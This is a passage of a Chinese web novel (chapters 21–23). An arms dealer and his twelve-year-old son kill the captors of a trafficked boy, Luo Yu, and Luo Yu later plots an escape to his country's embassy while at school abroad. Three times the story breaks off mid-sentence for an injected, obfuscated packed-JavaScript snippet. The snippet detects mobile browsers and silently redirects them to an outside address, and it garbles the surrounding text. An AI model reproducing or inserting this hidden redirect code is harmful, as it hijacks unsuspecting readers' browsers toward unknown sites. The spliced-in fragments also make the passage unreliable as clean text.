温敏急急回答:“他是我姐姐捡来的一个小杂种,我姐姐可怜他就收留了他,让他帮忙干点活。这几天就是他给小公子负责送饭送水,我们让他照顾小公子。可是他几次三番羞辱小公子,实在该死!” 然而出乎温敏的意料,诺坎并未责怪罗誉,而是阴沉地盯着温敏,问道:“他侮辱瑟杰,你说你们都听见了?是真的?” 温敏连连点头。 “几次三番?” “是的!是的!” “所以你们并没有阻止。”诺坎冷笑出声,琥珀色的眼瞳宛如看着一个已死之人。 21. 第 21 章 温敏僵在原地,浑身冰冷。 “你是这里的领头人,可是你没有阻止,也没让其他人阻止。你们只是看戏取乐,甚至怂恿这小子可以做得更过分一些。” 诺坎也是自己真刀真枪从底层拼杀出来的狠角色,那些上不了台面的东西见过太多,他太清楚人性能够卑劣到什么程度。温敏这种还没见过多少世面的小喽啰又岂能是他的对手。 温敏嘴唇都白了,嘴里语无伦次地重复“误会”、“不是故意”之类的词句,显然已经吓破了胆。 “你不必狡辩了,我知道是杜拉指使你干的。不妨让你知道,杜拉已经死了。”诺坎的耐心已经见底,问了他最后一个问题,“现在你只需要回答我一件事,还有什么人和这件事有关?” 诺坎非常清楚一个道理:斩草必须除根。动手之前,慎重考量是否有必要动手,而一旦决定动手,就一个都不能留。 温敏的脑子已经因为一句“杜拉已经死了”严重过载。杜拉先生已经死了!也就是说,杜拉先生是真的故意绑架了诺坎先生的儿子,不是误会,没有误会。最重要的是,这意味着,不会有人会来救他了……已经死了,死了…… 一个大汉上前来给了温敏两巴掌,打得他当场流下两道鼻血,大概是嘴里尝到了血腥味,才有些回过神来。那大汉捏住温敏的脖颈,冷酷地提醒他回答问题。温敏这才木然地交代,杜拉先生拉拢了几位元老帮忙,用了多少筹码交换利益,派了多少人给他,几个人执行绑架,几个人负责监管……事无巨细地交代清楚他所知道的一切。温敏能知道这么多,也说明了他在杜拉手下确实得到了重用,算得上重要骨干了。 有了这份名单,诺坎浑身的戾气消减了几分。在他的示意下,刚才那名大汉再次走上前来,站在温敏面前,枪口抵在他的眉心上,没有一丝丝迟疑地取走了一条性命。这一次不需要温敏再说什么,他们这些人都不需要遗言。 小楼外的人听到一声枪响,都是一震。奈奈温不敢相信,难道说,弟弟已经……她艰难地抬头望去,小楼的门打开,灯光从房内泄出,一名大汉拖着什么从里面出来…… 奈奈温还没来得及崩溃,又一个大汉来到她身边,将她提起,带进小楼,一把扔下。奈奈温狠狠摔在地上,地上铺着的草席擦到了头脸,脸颊生疼,但她不敢惊叫,因为在草席上还有一滩新鲜的血。 奈奈温在不知觉间早已涕泗横流。一双脚出现在奈奈温的面前,她抬头去看,凌乱的头发有些遮眼睛,看不真切。光影朦胧,她看到面前的正是那个被绑架来的少年,在她口中的那只“猪”。 瑟杰笑出两颗小虎牙,眼神干净纯粹。他用手指将奈奈温额前的头发捋到耳后,问道:“是你囚禁了小罗?” 奈奈温花了几秒钟理解瑟杰的问话。这些问话内容不在她的预料之中。这个少年,他问的不是自己被绑架的事?他在问小罗?罗誉跟他有什么关系? 奈奈温缓缓将视线移到墙边的罗誉身上。罗誉安静地半垂着眼睛,没有看她。 瑟杰并不在乎她会不会回答刚才的问题,他更想做的是,让罗誉看到他在为他做什么。他问出了第二个问题:“刚才,你打了他?”与其说,这是个问题,不如说,这只是在陈述一个事实。 奈奈温听到了,她终于开始做出了反应。“我不单要打他,我想咬死他!我救了他的命,他却想逃跑!我给他养好了伤,他却想背叛我!”她的声音愈发癫狂,说到最后都显得有些尖锐。 主位上的诺坎皱了皱眉,眼角撇向墙角那小子。今时今日的诺坎尤其听不得“背叛”两字。是啊,才这几天工夫就能被瑟杰策反,这小子是不是惯于背叛? 瑟杰倒是没什么情绪波动,问:“他为什么要逃跑?” “他没良心!他就是不知好歹!忘恩负义……” 还没等奈奈温说完,瑟杰对她竖起食指放在嘴边,让她噤声,语气轻柔地说,“我问的是他为什么‘逃跑’?他本就不属于这里,离开是应该的,怎么就成了‘逃跑’?怎么就成了背叛?” 奈奈温睁大眼睛,受到了某句话的刺激,精神状态更加摇摇欲坠。“他怎么就不是背叛?我救了他,难道他不应该报恩么?他给我做饭、洗衣、打扫难道不是应该的么?他哄我开心难道不是应该的么?他以后出去工作赚钱供我难道不是应该的么?没有我的允许,他怎么能走?他凭什么走?他就该留下来陪我!照顾我!为我挣钱!他属于我!他只能是我的!他只能看着我一个人!” 小楼内出现了一瞬的安静。这屋里都不是什么善男信女,可饶是如此,谁也没想到这女人能疯成这样。就凭一次善意,就想占人一辈子。这话听来已经不只是挟恩图报了,她甚至把那个小男孩当成未来的男宠和苦力。 就连诺坎这种见过大恶的人,都大为震惊,这时回头看看站在墙角的小男孩,顿觉不是他的问题。这种女人谁受得了啊?换谁谁不跑?而且这小子还挺机灵,瑟杰是人质,他还能看出瑟杰能带着他跑,也敢跟着瑟杰跑,眼光不错。 瑟杰也不免露出震惊的神色,震惊之后是难以抑制的讥嘲和轻蔑。吸血的虫豸,却妄谈什么恩义。他讥笑着说出冰冷的话:“小罗是我的兄弟。你把我兄弟囚禁在这里,侮辱他,奴役他,现在我就该杀了你。你没意见吧?”说着从腰上拔出了短刀。 奈奈温一怔,什么?随后,她就只觉得脖子一凉,胸前一片滚烫。她向下看,满目血红。当她颓然倒地,仍然睁着眼睛,直直地盯着罗誉。他是属于我的……或许她仍坚信这一点,但,已经没有意义了。 瑟杰随意地擦了擦短刀,转过身来向着罗誉,露出一个灿烂的笑容。“小罗,我答应你的事做到了。你自由了。” 诺坎心花怒放。这就是自己的儿子,有勇有谋,还杀伐果断。这就是最好的继承人。丽娅,这就是我们的儿子!他才十二岁,他一定能成为一个霸主! 罗誉始终安静地看着这对父子,心在往下沉。在温敏被杀的那一刻起,他发现自己犯了个错误,此刻,奈奈温就这样死在他的面前,他原先的希望在这一刻被打得粉碎。 一开始,罗誉从奈奈温和温敏的对话中听出来,他们绑架某位大人物的儿子,或许是为了某些利益的交换。那么也就是说,这位人质的背后是一位大人物。在罗誉这种从小在和平环境成长的孩子来说,什么样的人算是大人物呢?一定是一位社会威望很高,具有良好形象的名流吧。因此罗誉愿意相信,如果成功帮助了瑟杰,他的那位大人物父亲也会愿意帮助他,离开这里,回到自己的国家。他没有想到的是,瑟杰的父亲竟然是一位更恶的恶人。这样的他们,会愿意帮助自己回家吗? “父亲,这是小罗。这几天他帮了我很大的忙。”没有人察觉罗誉内心的汹涌起伏,瑟杰将他拉近身边,向父亲介绍起了他新结交的小伙伴。“他给我送饭,还替我去外面留记号给你们,你的消息也是他回来告诉我的。” 诺坎当然知道瑟杰想要干什么。从瑟杰对奈奈温提问开始,他就听出来了,自己的儿子想要对这个叫小罗的小子示恩。对,这正是一个领导者该有的思路和手段。儿子有需要,他这个老父亲当然愿意配合演出。 “小罗是好孩子!”诺坎难得地表现出和颜悦色的慈祥。 “小罗,这是我父亲,你可以称呼他‘诺坎先生’。”瑟杰骄傲地向罗誉说明。 罗誉掩藏起内心的不安和惶恐,恭敬地上前致意。奈奈温也帮助他成长了不少,他学会了藏起自己的真实情绪。 瑟杰还正兴奋,他直白地对罗誉说出自己的想法:“小罗,接下来如果你没地方去,跟我走吧。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615100|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会像那个恶心的女人一样强迫你的,有我在,没有人会欺负你了。” 诺坎也适时开口说道:“小罗看着年纪也不大,你们结伴倒是很不错。” 如果是个成年人,诺坎或许还会先调查一下背景,但罗誉……这么个小不点,总不可能是谁家的卧底。在联邦这个地方,充满了意外,来历不明的孩子太常见了,以至于来历不明这一点,都不算是个异常。况且,这是儿子自己挑选的人,就算要调查,也不能是他这个父亲直接插手去做。 罗誉的心沉到底。虽然这两父子说得很客气,但话里的意思却并不在乎罗誉真实的想法。他们并不是真的给出一个选项,而是告诉他,你必须排除掉其他所有的选项,那些都不是给你准备的。本质上和奈奈温那支小巧的手枪没有任何区别。 瑟杰看罗誉竟然没有立刻回应,伸手拉起他的手腕,催促说:“小罗,你说话呀!” 罗誉微微仰起头,看看瑟杰,再转过头看看主位上的诺坎,最后转回来,看着瑟杰,小声说:“我怕我帮不上你的忙……” 他知道自己没有别的选择,但小动物一般敏锐的直觉告诉他,如果答应得太快,或许反而不安全。 果然,诺坎这样的老狐狸,看他犹犹豫豫的样子反倒满意起来,如果是个自信满满的小子,将来万一喂大了野心,反而会是个祸害。 瑟杰笑起来,一拍罗誉的肩膀,说:“嗐!我还以为是你看不上我这个大哥呢!那就这么定了,从今天起,你跟着我!”说着,瑟杰转向自己的父亲,向父亲扬起一个略带讨好的笑,“父亲,小罗这次帮了我,我想替他讨一点奖励,行不行?” 诺坎哈哈大笑,“没问题!小罗想要什么样的奖励?” 瑟杰搂着罗誉的肩膀,对他说:“你有什么心愿,尽管往大了说,父亲没什么做不到的。” 罗誉思考起来。他唯一的心愿已经不能满足,但如果现在表现得无欲无求,未免太浪费了这对父子的“善意”,未来的日子里,他们的“善意”是否还能再见到就不好说了。 思考了一小会儿,罗誉抿着唇抬眼,还是先看了看瑟杰,再转向诺坎,开口说道:“先生,我可不可以……去上学?” 父子俩都是一愣,谁都没有想到罗誉提出的要求竟然会是这个。在联邦,虽然大家也都知道读书的好处,但大环境使然,并不是每个人都能够安心地接受完整系统的教育。而即便有条件完成学业,很多家庭也并不会选择这么做,个人的发展并没有和教育水平强关联,因为在这个国度,你想着读书学成后怎样怎样,可你未必能活到读完书,不太平的时事造成了太多的意外,读书的收益并不太大。 然而大华出身的罗誉有着完全不同的观念。不论在什么时候,什么情境之下,读书总归是一条出路,自身情况越糟糕,读书的帮助就越大。这几乎是刻在大华人骨髓中的东西。 瑟杰对此很不能理解,但他犹豫要不要在刚收了这小弟的时候就驳回他的要求。然而对于同一个要求,诺坎则想的完全不同。 罗誉的提议提醒了诺坎。 首先,诺坎已经决意要全力培养瑟杰,那么他的教育水平当然是越高越好。这个孩子的天赋和心性在这件事中已经表现出绝佳的素质,在文化学识上,就不能成为他的短板。所以,读书也是瑟杰接下来该做的。 第二,虽然这次反叛被诺坎以雷霆手段迅速镇压,但温敏给出的名单中也看得到,有不少人是没有直接参与,但也乐于作壁上观。这些墙头草无非就是两边下注,等到一方倒霉,就会像秃鹫鬣狗一样蜂拥而至,都是些恶心的东西。诺坎接下来会有一段时间忙于清理门户,将这些东西处理掉。这个过程中,难保有人会借鉴杜拉的做法,危及到瑟杰的安全。 所以,读书,可能是当下最好的一步棋。 22. 第 22 章 第二十二章山那边 诺坎的决定是许多人未曾预料的。 瑟杰尤其震惊,事情怎么会变成这样?他的父亲竟然轻易地做出让他和小罗一起去合众国读书的决定!他本以为这次事件之后,父亲开始重视他了,难道他想错了吗?瑟杰不理解,他想不通,也为此有些失落沮丧。 面对瑟杰的那点子小低落,诺坎并不觉得有什么。他以往疏忽了孩子很多年,并不十分了解应该怎样和孩子相处。本性的粗线条也让他忽略了孩子内心的细腻,他只是将瑟杰的情绪理解成了即将离开家的依恋和孤独,这些在他看来,都不是问题。等孩子到了新的环境中,他很快就会适应,会有新的朋友,爱上新的风景。而他这位父亲,会始终站在这里,随时迎接成长蜕变后的儿子学成归来,给他一个热烈的拥抱。 诺坎在联邦国确实能量巨大,很快就为瑟杰和罗誉办好了一应手续,对接好了合众国内一个据说非常有口碑的学校。瑟杰和罗誉的身份也做了充分的准备,他俩在证件文书层面毫无破绽。这些庞杂而又琐碎的工作都被有条不紊地推进,不到一个月的时间,瑟杰和罗誉被送上前往合众国的飞机。 异国他乡,茫茫未知。 瑟杰虽然仍不理解父亲的做法,但已经调整了心态,他已经开始期待在合众国的自由生活,在那里不必时时担心被强势的父亲监管,不必担心自己某一次小小的贪玩而招致父亲的不满。他心情轻松,上飞机后没多久就睡了过去。 罗誉没有睡。这是他第一次坐飞机。旅途漫长,他疲惫但一点都睡不着。机舱昏暗,他睁着眼睛,望向机舱外的天空。 天空在夜晚呈现出深邃的蓝色,星星点缀其间,闪烁着微弱而坚定的光芒。月亮在夜航飞机上显得格外明亮和清晰。它悬挂在天空之中,散发着温柔而宁静的光芒。月色如此明亮,洒在云层上,显得更加柔和和梦幻。云层在他们下方,透出一层银色的光芒,宛如仙境一般。有几次,飞机穿过云层,可以看到地面上星星点点的灯光,更多的是黑沉沉的山峦或水域,让人感受到无尽的渺小。 罗誉觉得很美,美得就像一场梦。如果真的是一场梦该多好。梦醒之后,他会从家中温暖的被窝中伸着懒腰,起床洗漱,吃上爸妈做的热腾腾的早点,然后背上书包去楼下叫上阿登,一起上学去,踏着小街上的阳光,上学去。 合众国并不是只有繁华,当然也有贫民窟,只不过这种地方,瑟杰和罗誉不需要触及。诺坎在合众国特别组建了一个团队,只为瑟杰服务。连带着罗誉这个陪读的书童也能跟着享受到相当不错的生活品质。 瑟杰很快被满目琳琅迷花了眼。他已经不再担心这是父亲将他放逐的行为,这妥妥是对他真心的疼爱。 他们到达合众国后,一大队人高马大的精英保镖接管了他们的安保工作,让瑟杰的虚荣心得到了巨大满足。接着他们来到了父亲在合众国为他们安排的住处。那是一座极尽奢华的庄园,草坪上能跑马的那种。瑟杰即便在母亲在时,也未曾被这样富养过,兴奋得恨不得在草坪上打滚。庄园的仆从排着队迎接他们,称呼他“主人”,就连小罗也被称呼为“阁下”。这感觉太好了,这才是文明人的生活!和这些比起来,他过去简直就是一只闯山的野猪。 之后的日子里,他们去了学校。这是一所语言学校,诺坎也知道孩子们首要问题会是什么。不过瑟杰依旧对学习不感兴趣。他不止一次地对罗誉抱怨:读书?读书有什么用呢?他的父亲能够打拼成东南亚最大的军火商,从来不是因为读书多。事实上诺坎统共没读过几年书。在合众国,语言也是障碍,瑟杰的东方面孔在这里也很难被人理解。一来二去,瑟杰就是讨厌上学。用他的话说,那些扭曲得跟虫子一样的字母,他只要看一眼,都会感到被钻到脑子里的疼。 罗誉也有语言障碍,但比瑟杰好些。在大华的小学里,英语课程的基础非常扎实,他本身又有语言天赋,精进飞快。他从不抱怨,他没有资格抱怨,也没有心情抱怨。他能抓住的机会不多,抓住了就不能放手。 瑟杰不想学,但罗誉不能让他留级,更不能退学,于是平时只能把瑟杰的那份作业也一起做了,考试前给他猜题恶补,总归把一年的语言学习给糊弄了过去。 但接下来的问题就是,罗誉成绩优异,虽然年龄很小,但老师们认为完全可以跳级,学习更高阶段的知识。但瑟杰无心学业,一年下来就算是最容易提高的口语水平,也只在吵架中有所展现。瑟杰甚至面临需要延长语言学校学习的可能性。 这让定期向诺坎汇报的助理非常尴尬,好在诺坎虽然有些意外,但和瑟杰对话后就被说服,认为这是西方社会对东方血统的系统性歧视,造成的融入障碍。因而并没有责怪助理。 最后老诺坎拍板,不理会语言学校方面的抗议,让人安排将两个男孩一并送入当地一所顶级私立学校。不得不说,钱和抢杆子真的能解决这世界上几乎所有的问题,而这两样,老诺坎都有。 如今瑟杰来到这里两年多了,虽然十五岁还差一个月,但因为有钱,监护人又不在身边,许多同龄人没有尝试机会的东西,他都已经沾过。现如今,除了药物,瑟杰都已经有所了解。 他最近沉迷于混迹小酒馆。什么?未成年不能饮酒?是的,法律有规定。那就找个没有法律的酒馆不就好了?要让酒馆没有法律,足够的钱就可以。给他一笔拒绝不了的钱。这是瑟杰很喜欢的一句电影台词。 最近一个月,他几乎天天泡在一个小酒馆,那里的酒品种多,酒保也从不管什么成年未成年之类的屁事,给钱就给酒。更重要的是,那家有个很漂亮风骚的女招待。她腰肢纤细,大腿却浑圆饱满,走起路来摇曳生姿。她的特别之处在于,对于酒馆的客人,不管老少,她都一视同仁地抛媚眼。因此,她从来没有用那种看小屁孩的眼神看待瑟杰。在瑟杰来看,这是对他个人的尊重,别管是不是因为他的钱。 “小罗,你真的应该看看她,她很有趣,还会在白色半透衬衫底下穿黑色的蕾丝胸衣!”瑟杰本着独乐乐不如众乐乐的精神,想要拉罗誉一起去见见世面。 罗誉都不明白,为什么短短一个月,瑟杰的口吻就已经是个欢场老油条了。但他不打算劝瑟杰适可而止,他需要瑟杰把精力放在一些别的事情上,不要总盯着他。 “如果你把红酒趁机倒在她身上……”瑟杰露出的笑容很难形容,这就不该是个会出现在未满十五岁孩子脸上的笑容。“那场面,绝了!” “瑟杰,你还记得下周要考试么?”罗誉推了推鼻梁上新配的金丝眼镜,提醒他。不过通常这样说了之后,瑟杰都不会觉得自己有什么问题,反而会更加讨厌学校生活。他已经不止一次故意翘掉考试了。 果然,瑟杰只是翻了个白眼,有些扫兴地抱怨:“小罗,你还记得下个月是我的生日么?” 罗誉笑得无奈,“是的,是的,我记得。本来不想告诉你,我已经在准备你的生日礼物了。” “行了,不要告诉我是什么,我要这个惊喜保留到那天晚上!”瑟杰心情当即转好,向前倾靠过来,手搭上罗誉肩膀拍了拍,道:“所以,记得那天晚上别安排别的事,我带你去酒馆!兄弟,你也该尝试一下新鲜的生活方式,别像个苦行僧一样。我们有大把的青春,就该挥霍才能对得起这两个字。”说完,起身出去。 罗誉这两年过得还不错,大概是前两年的颠沛流离过于伤身体,在那两年他几乎没有长过个子,还瘦了不少。来到合众国这两年,吃得多了,也比以前有营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615101|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养了,生活规律了,他还和几个保镖关系不错,他们会偶尔指导他做一些运动,增强体能。他开始长了点肉,不再是搓衣板成精。今年年初开始,罗誉发现个头开始猛窜,这才半年左右,他已经换了两批衣服,三批鞋子。 瑟杰在前几年就经历了这些,再加上他没经过什么大坎,身体向来健康,本就比罗誉健壮许多,如今已经达到170出头。在西方人眼中当然不算高,但这在东方人中已经很可观,他还有好几年能继续长高。身材上的优良表现也是瑟杰充满自信地拥抱“新鲜生活方式”的原因之一。 这半年来,他眼看着小罗也开始蜕变,满心欢喜。不管是为了消解孤独感而邀人结伴,还是单纯为了炫耀彰显自己的个人魅力,有些事,瑟杰就是想要拉上罗誉。 来到异国他乡,他愈发发觉罗誉和他的个性相差甚远,倒是不至于有什么矛盾分歧,只是他总会更希望罗誉和他能相似一些。尤其是每当看见罗誉在抱着书啃,他就会想,小罗这样的才是父亲期望中的儿子吧。然后他会产生一些莫名的情绪,似乎有些愧对父亲,但又时而觉得自己并没有做错什么。对啊,本来就不是我的问题。谁说成长和学习只在学校中呢?所以小罗也不该只专注课本里的纸上谈兵,他需要真实的生活! 这一年的史蒂文刚满十八岁,他是几个月前增补进瑟杰的安保团队的。诺坎在合众国老熟人的帮助下发掘了这个年轻人。史蒂文很快获得了诺坎的认可,年轻,专业能力强,人也不难相处,诺坎认为他也将会是自己儿子未来事业中的重要助力。如此一来,自己的儿子在策略方面有小罗这样的智囊,在武力方面有史蒂文这样的打手,文武双全,配置拉满。 史蒂文也确实如诺坎所愿,迅速就赢得了瑟杰的器重,走哪儿都喜欢带着他。相对来说,罗誉比较慢热,史蒂文和他也是最近才熟起来。 他拿着一听可乐走进来,随意地找了个地方坐下。他好奇地问罗誉:“如果我之前没有记错,你实际上是陪同Serge来留学的?” 罗誉转头对上他好奇的眼睛,点了点头,“是的。不仅如此,我的学习、生活费用都是诺坎先生支付。我很感激他们。” “哇哦!”史蒂文感叹了一声,然后压低声音说,“可是看起来,更像是他来陪你读书。”说完笑得戏谑。 罗誉没有立刻做出回应,顿了几秒才无奈笑道:“也许确实是事实。提出想要读书的人是我,Serge并没有这样的想法,只是诺坎先生非常希望他也能从中受益。” 史蒂文挑起眉毛,恍然大悟。“所以老头子也没指望儿子学成博士!我说呢,你们来了这么久,老头子第一年没看明白,第二年还能继续糊涂么?原来他早就知道。” “……诺坎先生有他自己的用意吧。” “还能有什么用意!让我们远离是非,在涉及争权夺利之前,让我们好好和他儿子培养感情呗!”史蒂文仰起头灌下一大口可乐。 罗誉不予置评,只拿起手边的矿泉水喝了一口。他还没满十三岁,还可以天真无邪听不懂。 “我记得冰箱里还有可乐。”史蒂文突然注意到了罗誉的水杯。“Louie,我好像没见你喝过任何饮料……” 罗誉飞快地瞥了眼史蒂文手里的可乐,微笑着举了举手里的玻璃杯,“我喜欢喝热水。” 史蒂文表示难以理解,不可思议。“你跟他去酒馆的时候,该不会也点一杯……热水?” 罗誉一愣,显然也是从没想过这个问题。他脸上显出了一丝为难的神情,“……如果……可以的话……” 史蒂文不可遏制地大笑出声。他有些恶质地开始期待瑟杰的生日聚会,他想知道罗誉这只小羊羔是不是真的可以点上一杯加热过的矿泉水。 23. 第 23 章 严格说来,罗誉其实去过一次酒馆。他去找过瑟杰,还带了几名保镖随行。只是进去的时候,正巧酒馆有个女招待正在被人起哄,里面的男人别管醉没醉,都在争抢这名女招待的吊袜带。 女招待娇嗲地抱怨男人们不肯把吊袜带还给她,一边压着本就只到腿根的包裙裙摆,躲避时不时向大腿伸来的咸猪手,将欲拒还迎演绎得淋漓尽致。 场面非常火辣,有个跟着罗誉进去的保镖当场就揉了揉鼻子。罗誉在场内扫了两眼,看到了两个跟瑟杰过来的保镖,但没有找到瑟杰本人。 被哄抢的吊袜带被抛了过来,罗誉僵硬地避开。最后,他将自己带来的四个保镖留了三个在这里,吩咐他们尽快找到瑟杰,确保他的安全。而罗誉自己则带着仅剩的一名保镖落荒而逃。 这哪是人待的地方。 不过……罗誉对这一次的所见所闻很满意。 他始终没有忘记,他真正想要做的事。 自从来到合众国,瑟杰和罗誉的身边总是跟随大队的保镖,这些都是诺坎安排的人,他们对诺坎的忠诚度很高。罗誉想做些什么都不方便,他必须把尾巴藏好。 最初的一年里,瑟杰对新环境的严重不适应,以及受限于语言水平,他放飞得还算节制,没有翻出什么大浪来。罗誉也就一直没有什么机会去真正做什么,只能安静蛰伏,寻找契机。但也就在这一年,他找到一个新的自救的可行性。 他可以向大华的使领馆求助! 这是他到合众国之后才了解到的“常识”。是的,这是一个身在合众国的异国人所必备的“常识”,只是罗誉以前完全不知道。 罗誉遭逢不测时年纪太小,当时他所了解的求助渠道非常有限。在被人贩子控制的那段时日,不涉及使领馆。 后来流落联邦国,是罗誉人生中第一次出国,非正常的出境方式让他也错失了正常的大众群体,自然也就错失了许多获取正常信息的机会。对于那些犯罪才是正常生活的人群而言,怎么可能教你正经地寻求合法途径解决问题呢?更何况联邦国本身国情使然,对这类正规渠道的宣导很有限,即便是普通国民,也少有这方面的常识。 再来,就到了合众国。纸面上,罗誉现在的身份被诺坎设计得明明白白。瑟杰和他都是出生在合众国的亚裔,自动获得国籍。幼时随父母回到原籍国度过了童年时光,直到学龄,父母才将他们送回合众国接受优质的教育。所以,从理论上来说,他和大华的使领馆依然没有交集的必要。因此,当他从学校里另一个外籍留学生处听说“使领馆的作用”时,宛如打开了一扇新世界的大门。 罗誉当然不能直接跑去大华驻合众国的使馆,大声说,我的身份是假的,我是被一连串的罪犯带到这里的。离他最近的一个大华使馆在隔壁城市,他得先找到机会乘车去另一个城市。 他也不能通过电话之类的线上方式。身边全是诺坎的人,通讯也受到实时监控。正常情况下,他只需要联系同学和老师,如果他的联系人里突然出现了其他的什么人,都会被诺坎知道。 所以,之后的这一年,他从语言学校换到了现在这家顶级的私立学校后,他就开始绘制他的“越狱”图纸。 顶级私立学校,意味着学生们的背景非富即贵,他们本身不一定有多优秀,但他们背后的力量必定不普通。 罗誉优秀的成绩,良好的教养,以及他无害的外貌,使得他从入学起就在学校中赢得了相当广泛的好感。虽说他并不是一个善于主动拓展人际关系的人,但当人们对你很有好感时,自然会有人主动起来。一年下来,倒也有几个富家公子处得不错,在能力范围内,能有求必应。 罗誉从其中一位同学处,秘密租下了本市和邻市两处住宅。这两处房产都在这位同学的名下。罗誉说服他不签订任何纸质协议,于是没有留下备案信息。租金会定期以现金形式交付。同学很乐意用两套闲置房产为自己赚点私房零花。而罗誉的钱款去向,也不难解释。 在那之后不久,老诺坎在一次远程会话中,和善地询问了罗誉产生额外花销的情况。当得知是用于与同学社交而参与了一些诸如赌马之类的小游戏时,诺坎笑得很爽朗。 “很好,小罗,你的进展让我很满意,你开始像个上流人了。”诺坎给出他的评价和态度。此后,罗誉的开销额度被提高了。 罗誉就这样小心翼翼地布置,安排,处理好各处的细节,时刻等待一个契机。他不知道这个机会到底是什么,但没关系,他可以像蛇一样盘踞等待。 有准备的人似乎总是能够等来他所需要的机会。瑟杰爱上了新鲜的生活方式。 有意思的是,在对待瑟杰这一点上,罗誉和史蒂文出奇的一致。两人都采取了听之任之的态度,这可能是诺坎完全没有想到的。诺坎为瑟杰安排扩充班底,也有着避免罗誉未来一家独大的意思,但他忽略了前提是两人要对瑟杰有足够的效忠。可这两人却各有各的心思。 史蒂文见到瑟杰时,是失望的。介绍他来的老客户把瑟杰吹嘘得太过,史蒂文亲眼见到人时只想直接撂挑子。他很早就清楚自己是个天才,至少在格斗、枪械等领域,是个毋庸置疑的高手,如果要为谁工作,他的老板必须也是个头脑出众的家伙才行。他是一匹烈马,怎么可能让一个庸碌的家伙骑上来。而他最后选择留下,也是因为别的原因。 罗誉就更简单了,他平日里从不干涉瑟杰的任何决定,让瑟杰充分自由,偶尔的几句提醒和规劝也如预料之中那样不起作用。他只是“追随”瑟杰的小弟,躲在瑟杰的羽翼之下的小可怜,并不能帮上瑟杰的小废物。 总之,在各方不约而同的纵容之下,瑟杰迷失的速度非常喜人。 在那次目睹了小酒馆里混乱糟糕的氛围之后,罗誉加快了他的行动。他预见机会即将到来。 再过不久就是瑟杰的十五岁生日,以瑟杰现在的脑回路,必然选择在他所钟爱的小酒馆,与他欣赏的女招待狂欢过夜。届时小酒馆里一定会非常热闹。 到时候罗誉可以让它更热闹,这样,保镖们就可以忙起来,不必时刻盯着他。他应该就能有机会脱身。 罗誉计划先去本市的那套安全屋中,那里他备好了一些物资和车,他要第一时间转移到邻市,直奔使馆。邻市的安全屋是他预留备用的,万一有什么意外情况,那里将是他一段时间内的藏身之处。 他为这一天准备了很久,就连开车,也是假装好奇,向一名保镖时不时请教之后,保镖先生私下教了他一些。罗誉没有正式上过路,更没有驾照,路上不会一帆风顺,可能会遇上劫匪,遇上警察,遇上任何人……怎样都没关系,罗誉也并不完全指望自驾。 他甚至做好了最坏的打算,诺坎以最快的速度查到了他的安全屋和车牌,停掉他的信用卡。他准备好了一些现金,就算是步行,他也有办法去到邻市。 即便罗誉素来冷静,这一天这一刻到来之际,也难免热血沸腾。 酒馆的气氛比想象中更加狂热。当瑟杰举着酒杯,站上吧台,高声宣布今晚所有人的费用都由他承担的那一刻,小酒馆爆发雷鸣般的欢呼声,酒鬼们大力锤着桌面,叫嚣着要喝光酒馆里的所有存货,剩下一滴都是对瑟杰先生的不尊重。 酒馆里酒保开始忙碌,女招待也像穿花蝴蝶似的满场游走。瑟杰很快进入微醺的状态,他扯住要离开的女招待,想让她坐在自己腿上,女招待推拒,嗔怪说上一次瑟杰这么做的时候,把手伸进了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615102|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的裙子。露骨的言语引得周围男人们又一次爆发猥琐的笑声。 来之前,罗誉对瑟杰说,晚上热闹归热闹,还是需要注意安全。平时瑟杰只带两人,罗誉建议他今晚多带上几个保镖。但是瑟杰认为不必,小酒馆是他熟悉的地方,里面的人也都没几个不认识的,这几个月来就跟他另一个住处似的。以往除了喝吐,也没出过什么问题,没必要带上更多保镖碍手碍脚。狂欢夜,不就是要尽兴才好的嘛! 最终,瑟杰不情不愿地只带上了包括史蒂文在内的四名保镖,还非说多带的两人算是保护罗誉的。罗誉明白,瑟杰是觉得让更多人保护他,在女招待面前是有失颜面的事情。 酒过三巡,罗誉环顾四周。除了几名保镖职责所在,其他人差不多都已经有些上头。罗誉在最初被女招待劝了一小杯,抿了一口沾沾唇,结果引得瑟杰有些吃醋,拉走了女招待,罗誉这杯酒就再也没有碰过嘴唇。 瑟杰拉着女招待,先前还在吧台附近,后来去了墙角,再然后一错眼,就不见了。两名保镖摊摊手,无奈地跟了上去,不出意外的话,他们又要听一场火辣的。 罗誉闪避躲开一个摇晃的酒鬼,端着杯子的手却撞在了跟在身边的保镖马修身上,酒水撒了一手。罗誉只对史蒂文说了句要去洗手,不用跟来,就转身走了出来。 